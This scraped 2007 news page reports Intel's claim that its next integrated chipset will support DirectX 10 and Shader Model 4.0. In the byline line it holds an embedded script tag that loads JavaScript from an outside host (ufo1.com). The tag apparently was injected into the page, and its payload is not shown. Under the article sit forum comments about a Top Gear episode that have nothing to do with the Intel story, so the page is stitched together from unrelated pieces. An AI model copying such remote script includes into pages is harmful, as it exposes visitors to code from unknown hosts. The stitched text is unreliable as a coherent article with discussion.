Intel Revitalises The Chipset

"Intel is committed to support DirectX 10 and Unified Shader model, Shader model 4.0. Read on to find out more..."

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 29/01/07
Author: PV5150
Source: The Inquirer

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Intel is committed to support DirectX 10 and Unified Shader model, Shader model 4.0. The chip firm will support both with its next generation chipset part.


The Intel chipset is not just programmable, it is reprogrammable. With this in mind Intel claims that Intel’s integrated graphics chipset is the first integrated re-programmable architecture designed with future implementations of DX10 and unified shader model (SM4.0) in mind.


The firm has apparently confirmed that its integrated micro-architecture is ready for DirectX 10.

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15-02-2007, 10:22:34

chudley
defo a good show this week , kids loved it too.

15-02-2007, 10:56:11

Toxcity
Im guessing alot of it was set up.. ;)
The cow bit for example, they must of brought it or something..

15-02-2007, 11:54:49

nathan

Im guessing alot of it was set up.. ;)
The cow bit for example, they must of brought it or something..



yeah i agree. but i dont think the redneck bit was.

16-02-2007, 14:48:59

nepas
i want one of those in car showers!!

17-02-2007, 05:04:57

nathan
this week......... reliant robin = rocket
next week......... limo's taking celebs to the brits

17-02-2007, 12:31:30

Enigmachine
Funny bit, did anyone see the latest Simpsons episode?

Bart gets a license and starts driving around to the "Top Gear" theme... I guess that show is part of pop culture now. :)

18-02-2007, 16:00:14

Hyper
Another quality episode :D

18-02-2007, 16:00:40

Toxcity
Hahah! Awesome!
I loved the rocket, did you see the crater it made in the ground! WOAH!
And the chainsaw! hahah! :D

18-02-2007, 16:33:19

Kempez

Another quality episode :D


Aye todays was awesome :D:D

19-02-2007, 20:06:34

Deshman
More like freakin awesome
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